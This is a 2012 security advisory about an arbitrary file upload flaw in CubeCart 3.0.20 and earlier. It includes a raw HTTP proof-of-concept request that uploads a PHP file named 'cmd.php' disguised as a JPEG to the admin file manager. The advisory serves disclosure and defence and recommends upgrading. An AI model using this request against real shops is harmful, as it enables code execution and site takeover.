1. OVERVIEW
CubeCart 3.0.20 and lower versions are vulnerable to Arbitrary File Upload.
2. BACKGROUND
CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.
3. VULNERABILITY DESCRIPTION
CubeCart 3.0.20 and lower versions contain a flaw related to the
/admin/filemanager/upload.php script's failure to properly validate
uploaded files. This may allow a remote attacker to upload arbitrary
files and execute arbitrary code via a request to the 'atm-regen'
parameter.
4. VERSIONS AFFECTED
3.0.20 and lower (aka 3.0.x family)
5. PROOF-OF-CONCEPT/EXPLOIT
Set content type to image/jpeg and upload.
Uploaded files are stored at images/uploads.
/////////////////////////////////////////////////////////////////////
POST /cube/admin/filemanager/upload.php HTTP/1.1
Host:localhost
Referer: http://localhost/cube/admin/filemanager/upload.php?custom=1&redir=0
Cookie: ccSIDb4c410adddf67168ce2ac0e2807326f8=f2c0bc69b813778a644b76c2b40c7ce0;
Content-Type: multipart/form-data;
boundary=---------------------------24464570528145
Content-Length: 29
-----------------------------24464570528145
Content-Disposition: form-data; name="FCKeditor_File"; filename="cmd.php"
Content-Type: image/jpeg
<?php info();?>
-----------------------------24464570528145
Content-Disposition: form-data; name="submit"
Upload Image
-----------------------------24464570528145
Content-Disposition: form-data; name="redir"
0
-----------------------------24464570528145
Content-Disposition: form-data; name="custom"
1
-----------------------------24464570528145--
///////////////////////////////////////////////////////////////
6. SOLUTION
The CubeCart 3.0.x version family is no longer maintained by the vendor.
Upgrade to the currently supported CubeCart version - 5.x.
7. VENDOR
CubeCart Development Team
http:/cart.com/
8. CREDIT
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2012-02-10: CubeCart 3.0.x in End-of-Support/Maintenance circle
2012-12-22: Vulnerability disclosed
10. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bcubecart_3.0.20_3.0x%5D_arbitrary_file_upload
CubeCart Home Page: http://cubecart.com/
#yehg [2012-12-22]